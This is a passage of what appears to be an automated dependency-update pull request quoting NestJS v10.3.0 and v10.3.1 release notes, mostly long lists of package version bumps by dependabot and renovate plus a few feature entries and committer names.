([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12821](https://togithub.com/nestjs/nest/pull/12821)
chore(deps-dev): bump
[@&#8203;types/sinon](https://togithub.com/types/sinon) from 17.0.1 to
17.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12822](https://togithub.com/nestjs/nest/pull/12822)
chore(deps-dev): bump mysql2 from 3.6.3 to 3.6.5
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12823](https://togithub.com/nestjs/nest/pull/12823)
fix(deps): update dependency
[@&#8203;graphql-tools/utils](https://togithub.com/graphql-tools/utils)
to v10.0.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12825](https://togithub.com/nestjs/nest/pull/12825)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.11.0 to 6.12.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12826](https://togithub.com/nestjs/nest/pull/12826)
chore(deps-dev): bump
[@&#8203;commitlint/config-angular](https://togithub.com/commitlint/config-angular)
from 18.4.2 to 18.4.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12799](https://togithub.com/nestjs/nest/pull/12799)
chore(deps): update dependency redis to v4.6.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12806](https://togithub.com/nestjs/nest/pull/12806)
fix(deps): update dependency
[@&#8203;nestjs/swagger](https://togithub.com/nestjs/swagger) to v7.1.16
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12835](https://togithub.com/nestjs/nest/pull/12835)
chore(deps): update mysql docker tag to v8.2.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12827](https://togithub.com/nestjs/nest/pull/12827)
chore(deps-dev): bump [@&#8203;types/ws](https://togithub.com/types/ws)
from 8.5.9 to 8.5.10
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12829](https://togithub.com/nestjs/nest/pull/12829)
chore(deps-dev): bump
[@&#8203;types/mocha](https://togithub.com/types/mocha) from 10.0.4 to
10.0.6
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12834](https://togithub.com/nestjs/nest/pull/12834)
chore(deps): update dependency webpack to v5.89.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12836](https://togithub.com/nestjs/nest/pull/12836)
fix(deps): update dependency
[@&#8203;fastify/static](https://togithub.com/fastify/static) to v6.12.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12837](https://togithub.com/nestjs/nest/pull/12837)
fix(deps): update dependency
[@&#8203;nestjs/jwt](https://togithub.com/nestjs/jwt) to v10.2.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12838](https://togithub.com/nestjs/nest/pull/12838)
fix(deps): update dependency cache-manager to v5.3.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12839](https://togithub.com/nestjs/nest/pull/12839)
fix(deps): update dependency mercurius to v13.3.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12841](https://togithub.com/nestjs/nest/pull/12841)
fix(deps): update dependency sequelize to v6.35.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12843](https://togithub.com/nestjs/nest/pull/12843)
fix(deps): update dependency
[@&#8203;nestjs/schedule](https://togithub.com/nestjs/schedule) to v4
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12844](https://togithub.com/nestjs/nest/pull/12844)
fix(deps): update dependency mongoose to v8
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12845](https://togithub.com/nestjs/nest/pull/12845)
fix(deps): update dependency ts-morph to v20
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12814](https://togithub.com/nestjs/nest/pull/12814)
chore(deps): update dependency
[@&#8203;nestjs/cli](https://togithub.com/nestjs/cli) to v10.2.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12812](https://togithub.com/nestjs/nest/pull/12812)
chore(deps): update confluentinc/cp-kafka docker tag to v7.5.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12811](https://togithub.com/nestjs/nest/pull/12811)
chore(deps): update babel monorepo
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12813](https://togithub.com/nestjs/nest/pull/12813)
chore(deps): update confluentinc/cp-zookeeper docker tag to v7.5.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12782](https://togithub.com/nestjs/nest/pull/12782)
chore(deps-dev): bump
[@&#8203;types/cors](https://togithub.com/types/cors) from 2.8.16 to
2.8.17
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12784](https://togithub.com/nestjs/nest/pull/12784)
chore(deps-dev): bump redis from 4.6.10 to 4.6.11
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12800](https://togithub.com/nestjs/nest/pull/12800)
fix(deps): update dependency
[@&#8203;graphql-tools/utils](https://togithub.com/graphql-tools/utils)
to v10.0.10
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12792](https://togithub.com/nestjs/nest/pull/12792)
chore(deps): update dependency
[@&#8203;types/cache-manager](https://togithub.com/types/cache-manager)
to v4.0.6
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12808](https://togithub.com/nestjs/nest/pull/12808)
fix(deps): update dependency mongoose to v7.6.5
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12805](https://togithub.com/nestjs/nest/pull/12805)
fix(deps): update dependency
[@&#8203;nestjs/mongoose](https://togithub.com/nestjs/mongoose) to
v10.0.2 ([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12796](https://togithub.com/nestjs/nest/pull/12796)
chore(deps): update dependency
[@&#8203;types/multer](https://togithub.com/types/multer) to v1.4.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12801](https://togithub.com/nestjs/nest/pull/12801)
fix(deps): update dependency
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) to v1.9.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12802](https://togithub.com/nestjs/nest/pull/12802)
fix(deps): update dependency
[@&#8203;nestjs/cache-manager](https://togithub.com/nestjs/cache-manager)
to v2.1.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12803](https://togithub.com/nestjs/nest/pull/12803)
fix(deps): update dependency
[@&#8203;nestjs/event-emitter](https://togithub.com/nestjs/event-emitter)
to v2.0.3
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12804](https://togithub.com/nestjs/nest/pull/12804)
fix(deps): update dependency
[@&#8203;nestjs/mercurius](https://togithub.com/nestjs/mercurius) to
v12.0.11 ([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12778](https://togithub.com/nestjs/nest/pull/12778)
chore(deps-dev): bump eslint from 8.53.0 to 8.54.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12780](https://togithub.com/nestjs/nest/pull/12780)
chore(deps-dev): bump cache-manager from 5.2.4 to 5.3.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12779](https://togithub.com/nestjs/nest/pull/12779)
chore(deps-dev): bump core-js from 3.33.2 to 3.33.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12788](https://togithub.com/nestjs/nest/pull/12788)
chore(deps-dev): bump
[@&#8203;commitlint/cli](https://togithub.com/commitlint/cli) from
18.4.1 to 18.4.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12791](https://togithub.com/nestjs/nest/pull/12791)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.9.0 to
20.9.4
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12777](https://togithub.com/nestjs/nest/pull/12777)
chore(deps-dev): bump
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) from 1.9.10 to
1.9.11
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12775](https://togithub.com/nestjs/nest/pull/12775)
chore(deps-dev): bump mqtt from 5.2.1 to 5.3.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12705](https://togithub.com/nestjs/nest/pull/12705)
fix(deps): update dependency
[@&#8203;nestjs/graphql](https://togithub.com/nestjs/graphql) to
v12.0.11 ([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12681](https://togithub.com/nestjs/nest/pull/12681)
chore(deps): update dependency
[@&#8203;types/express](https://togithub.com/types/express) to v4.17.21
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
-   `platform-fastify`
- [#&#8203;12931](https://togithub.com/nestjs/nest/pull/12931)
chore(deps): bump fastify from 4.25.0 to 4.25.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12921](https://togithub.com/nestjs/nest/pull/12921)
chore(deps): bump fastify from 4.24.3 to 4.25.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12890](https://togithub.com/nestjs/nest/pull/12890)
chore(deps): bump
[@&#8203;fastify/cors](https://togithub.com/fastify/cors) from 8.4.1 to
8.4.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
-   `platform-ws`
- [#&#8203;12918](https://togithub.com/nestjs/nest/pull/12918)
chore(deps): bump ws from 8.14.2 to 8.15.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))

##### Committers: 6

-   Fortas Abdeldjalil ([@&#8203;Fcmam5](https://togithub.com/Fcmam5))
- Micael Levi L. Cavalcante
([@&#8203;micalevisk](https://togithub.com/micalevisk))
-   Niv Shtibel ([@&#8203;NivSv](https://togithub.com/NivSv))
-   Olivier Thierry ([@&#8203;othierry](https://togithub.com/othierry))
- Philip Mantrov
([@&#8203;PhilipMantrov](https://togithub.com/PhilipMantrov))
-   Vinicius Lourenço ([@&#8203;H4ad](https://togithub.com/H4ad))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

###
[`v10.3.1`](https://togithub.com/nestjs/nest/compare/v10.3.0...v10.3.1)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.3.0...v10.3.1)

### [`v10.3.0`](https://togithub.com/nestjs/nest/releases/tag/v10.3.0)

[Compare
Source](https://togithub.com/nestjs/nest/compare/v10.2.10...v10.3.0)

#### v10.3.0 (2023-12-18)

##### Enhancements

-   `platform-fastify`
- [#&#8203;12567](https://togithub.com/nestjs/nest/pull/12567)
feat(fastify): add fastify route constraints
([@&#8203;Fcmam5](https://togithub.com/Fcmam5))
-   `microservices`
- [#&#8203;12175](https://togithub.com/nestjs/nest/pull/12175)
feat(microservices): Added invalid-grpc-message-decorator.exception.ts
([@&#8203;PhilipMantrov](https://togithub.com/PhilipMantrov))
-   `common`, `core`, `microservices`, `platform-express`
- [#&#8203;12753](https://togithub.com/nestjs/nest/pull/12753) perf:
prefer use factory instead of use value when possible
([@&#8203;H4ad](https://togithub.com/H4ad))
-   `core`
- [#&#8203;12924](https://togithub.com/nestjs/nest/pull/12924)
feat(core): add options parameter to repl
([@&#8203;othierry](https://togithub.com/othierry))
-   `common`, `core`, `microservices`, `platform-socket.io`
- [#&#8203;12905](https://togithub.com/nestjs/nest/pull/12905)
feat(core): display module's name on `.select(module)` errors
([@&#8203;micalevisk](https://togithub.com/micalevisk))
-   `common`
- [#&#8203;12817](https://togithub.com/nestjs/nest/pull/12817)
fix(common): type def for cors delegated callback function option
([@&#8203;micalevisk](https://togithub.com/micalevisk))

##### Dependencies

-   Other
- [#&#8203;12891](https://togithub.com/nestjs/nest/pull/12891)
chore(deps): update dependency
[@&#8203;types/jest](https://togithub.com/types/jest) to v29.5.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12935](https://togithub.com/nestjs/nest/pull/12935)
chore(deps): update dependency nodemon to v3.0.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12833](https://togithub.com/nestjs/nest/pull/12833)
chore(deps): update dependency typescript to v5.3.3
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12832](https://togithub.com/nestjs/nest/pull/12832)
chore(deps): update dependency ts-loader to v9.5.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12939](https://togithub.com/nestjs/nest/pull/12939)
fix(deps): update dependency mercurius to v13.3.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12941](https://togithub.com/nestjs/nest/pull/12941)
fix(deps): update dependency sequelize to v6.35.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12810](https://togithub.com/nestjs/nest/pull/12810)
fix(deps): update nest monorepo
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;11952](https://togithub.com/nestjs/nest/pull/11952)
fix(deps): update dependency
[@&#8203;nestjs/apollo](https://togithub.com/nestjs/apollo) to v12.0.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12930](https://togithub.com/nestjs/nest/pull/12930)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.4 to
20.10.5
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12932](https://togithub.com/nestjs/nest/pull/12932)
chore(deps-dev): bump eslint from 8.55.0 to 8.56.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12911](https://togithub.com/nestjs/nest/pull/12911)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)
from 6.13.2 to 6.14.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12908](https://togithub.com/nestjs/nest/pull/12908)
chore(deps-dev): bump prettier from 3.1.0 to 3.1.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12909](https://togithub.com/nestjs/nest/pull/12909)
chore(deps-dev): bump ts-node from 10.9.1 to 10.9.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12912](https://togithub.com/nestjs/nest/pull/12912)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.13.2 to 6.14.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12917](https://togithub.com/nestjs/nest/pull/12917)
chore(deps-dev): bump
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) from 1.9.12 to
1.9.13
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12920](https://togithub.com/nestjs/nest/pull/12920)
chore(deps): bump github/codeql-action from 2 to 3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12923](https://togithub.com/nestjs/nest/pull/12923)
chore(deps-dev): bump eslint-plugin-import from 2.29.0 to 2.29.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12888](https://togithub.com/nestjs/nest/pull/12888)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)
from 6.13.1 to 6.13.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12900](https://togithub.com/nestjs/nest/pull/12900)
chore(deps-dev): bump mongoose from 8.0.2 to 8.0.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12901](https://togithub.com/nestjs/nest/pull/12901)
chore(deps): bump reflect-metadata from 0.1.13 to 0.1.14
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12902](https://togithub.com/nestjs/nest/pull/12902)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.3 to
20.10.4
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12887](https://togithub.com/nestjs/nest/pull/12887)
chore(deps-dev): bump mqtt from 5.3.2 to 5.3.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12896](https://togithub.com/nestjs/nest/pull/12896)
chore(deps-dev): bump artillery from 2.0.2 to 2.0.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12897](https://togithub.com/nestjs/nest/pull/12897)
chore(deps-dev): bump typescript from 5.3.2 to 5.3.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12889](https://togithub.com/nestjs/nest/pull/12889)
chore(deps-dev): bump core-js from 3.33.3 to 3.34.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12873](https://togithub.com/nestjs/nest/pull/12873)
chore(deps-dev): bump eslint from 8.54.0 to 8.55.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12876](https://togithub.com/nestjs/nest/pull/12876)
chore(deps-dev): bump nodemon from 3.0.1 to 3.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12863](https://togithub.com/nestjs/nest/pull/12863)
chore(deps-dev): bump mongoose from 8.0.1 to 8.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12868](https://togithub.com/nestjs/nest/pull/12868)
chore(deps): bump sequelize-typescript from 2.1.5 to 2.1.6 in
/sample/07-sequelize
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12872](https://togithub.com/nestjs/nest/pull/12872)
chore(deps-dev): bump artillery from 2.0.1 to 2.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12874](https://togithub.com/nestjs/nest/pull/12874)
chore(deps-dev): bump eslint-config-prettier from 9.0.0 to 9.1.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12875](https://togithub.com/nestjs/nest/pull/12875)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.10.0 to
20.10.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12877](https://togithub.com/nestjs/nest/pull/12877)
chore(deps-dev): bump lint-staged from 15.1.0 to 15.2.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12878](https://togithub.com/nestjs/nest/pull/12878)
chore(deps-dev): bump ts-morph from 20.0.0 to 21.0.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12882](https://togithub.com/nestjs/nest/pull/12882)
chore(deps-dev): bump mqtt from 5.3.1 to 5.3.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12883](https://togithub.com/nestjs/nest/pull/12883)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.13.1 to 6.13.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12869](https://togithub.com/nestjs/nest/pull/12869)
fix(deps): update dependency sequelize-typescript to v2.1.6 \[security]
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12861](https://togithub.com/nestjs/nest/pull/12861)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.13.0 to 6.13.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12862](https://togithub.com/nestjs/nest/pull/12862)
chore(deps-dev): bump mqtt from 5.3.0 to 5.3.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12859](https://togithub.com/nestjs/nest/pull/12859)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)
from 6.12.0 to 6.13.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12807](https://togithub.com/nestjs/nest/pull/12807)
fix(deps): update dependency
[@&#8203;nestjs/typeorm](https://togithub.com/nestjs/typeorm) to v10.0.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12852](https://togithub.com/nestjs/nest/pull/12852)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.9.5 to
20.10.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12794](https://togithub.com/nestjs/nest/pull/12794)
chore(deps): update dependency
[@&#8203;types/jest](https://togithub.com/types/jest) to v29.5.10
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12798](https://togithub.com/nestjs/nest/pull/12798)
chore(deps): update dependency
[@&#8203;types/supertest](https://togithub.com/types/supertest) to
v2.0.16 ([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12840](https://togithub.com/nestjs/nest/pull/12840)
fix(deps): update dependency mongodb to v6.3.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12853](https://togithub.com/nestjs/nest/pull/12853)
chore(deps-dev): bump artillery from 1.7.9 to 2.0.1
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12855](https://togithub.com/nestjs/nest/pull/12855)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.12.0 to 6.13.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12856](https://togithub.com/nestjs/nest/pull/12856)
chore(deps-dev): bump
[@&#8203;grpc/grpc-js](https://togithub.com/grpc/grpc-js) from 1.9.11 to
1.9.12
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12809](https://togithub.com/nestjs/nest/pull/12809)
fix(deps): update dependency mysql2 to v3.6.5
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12824](https://togithub.com/nestjs/nest/pull/12824)
chore(deps-dev): bump typescript from 5.2.2 to 5.3.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12828](https://togithub.com/nestjs/nest/pull/12828)
chore(deps-dev): bump
[@&#8203;types/node](https://togithub.com/types/node) from 20.9.4 to
20.9.5
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12820](https://togithub.com/nestjs/nest/pull/12820)
chore(deps-dev): bump
[@&#8203;types/chai](https://togithub.com/types/chai) from 4.3.10 to
4.3.11
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12821](https://togithub.com/nestjs/nest/pull/12821)
chore(deps-dev): bump
[@&#8203;types/sinon](https://togithub.com/types/sinon) from 17.0.1 to
17.0.2
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12822](https://togithub.com/nestjs/nest/pull/12822)
chore(deps-dev): bump mysql2 from 3.6.3 to 3.6.5
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12823](https://togithub.com/nestjs/nest/pull/12823)
fix(deps): update dependency
[@&#8203;graphql-tools/utils](https://togithub.com/graphql-tools/utils)
to v10.0.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12825](https://togithub.com/nestjs/nest/pull/12825)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)
from 6.11.0 to 6.12.0
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12826](https://togithub.com/nestjs/nest/pull/12826)
chore(deps-dev): bump
[@&#8203;commitlint/config-angular](https://togithub.com/commitlint/config-angular)
from 18.4.2 to 18.4.3
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12799](https://togithub.com/nestjs/nest/pull/12799)
chore(deps): update dependency redis to v4.6.11
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12806](https://togithub.com/nestjs/nest/pull/12806)
fix(deps): update dependency
[@&#8203;nestjs/swagger](https://togithub.com/nestjs/swagger) to v7.1.16
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12835](https://togithub.com/nestjs/nest/pull/12835)
chore(deps): update mysql docker tag to v8.2.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12827](https://togithub.com/nestjs/nest/pull/12827)
chore(deps-dev): bump [@&#8203;types/ws](https://togithub.com/types/ws)
from 8.5.9 to 8.5.10
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12829](https://togithub.com/nestjs/nest/pull/12829)
chore(deps-dev): bump
[@&#8203;types/mocha](https://togithub.com/types/mocha) from 10.0.4 to
10.0.6
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12834](https://togithub.com/nestjs/nest/pull/12834)
chore(deps): update dependency webpack to v5.89.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12836](https://togithub.com/nestjs/nest/pull/12836)
fix(deps): update dependency
[@&#8203;fastify/static](https://togithub.com/fastify/static) to v6.12.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12837](https://togithub.com/nestjs/nest/pull/12837)
fix(deps): update dependency
[@&#8203;nestjs/jwt](https://togithub.com/nestjs/jwt) to v10.2.0
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12838](https://togithub.com/nestjs/nest/pull/12838)
fix(deps): update dependency cache-manager to v5.3.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12839](https://togithub.com/nestjs/nest/pull/12839)
fix(deps): update dependency mercurius to v13.3.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12841](https://togithub.com/nestjs/nest/pull/12841)
fix(deps): update dependency sequelize to v6.35.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12843](https://togithub.com/nestjs/nest/pull/12843)
fix(deps): update dependency
[@&#8203;nestjs/schedule](https://togithub.com/nestjs/schedule) to v4
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12844](https://togithub.com/nestjs/nest/pull/12844)
fix(deps): update dependency mongoose to v8
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12845](https://togithub.com/nestjs/nest/pull/12845)
fix(deps): update dependency ts-morph to v20
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12814](https://togithub.com/nestjs/nest/pull/12814)
chore(deps): update dependency
[@&#8203;nestjs/cli](https://togithub.com/nestjs/cli) to v10.2.1
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12812](https://togithub.com/nestjs/nest/pull/12812)
chore(deps): update confluentinc/cp-kafka docker tag to v7.5.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12811](https://togithub.com/nestjs/nest/pull/12811)
chore(deps): update babel monorepo
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12813](https://togithub.com/nestjs/nest/pull/12813)
chore(deps): update confluentinc/cp-zookeeper docker tag to v7.5.2
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12782](https://togithub.com/nestjs/nest/pull/12782)
chore(deps-dev): bump
[@&#8203;types/cors](https://togithub.com/types/cors) from 2.8.16 to
2.8.17
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12784](https://togithub.com/nestjs/nest/pull/12784)
chore(deps-dev): bump redis from 4.6.10 to 4.6.11
([@&#8203;dependabot\[bot\]](https://togithub.com/apps/dependabot))
- [#&#8203;12800](https://togithub.com/nestjs/nest/pull/12800)
fix(deps): update dependency
[@&#8203;graphql-tools/utils](https://togithub.com/graphql-tools/utils)
to v10.0.10
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12792](https://togithub.com/nestjs/nest/pull/12792)
chore(deps): update dependency
[@&#8203;types/cache-manager](https://togithub.com/types/cache-manager)
to v4.0.6
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12808](https://togithub.com/nestjs/nest/pull/12808)
fix(deps): update dependency mongoose to v7.6.5
([@&#8203;renovate\[bot\]](https://togithub.com/apps/renovate))
- [#&#8203;12805](https://togithub.com/nestjs/nest/pull/12805)
fix(deps): update dependency
[@&#8203;nestjs/mongoose](https://togithub.com/nestjs/mongoose) to
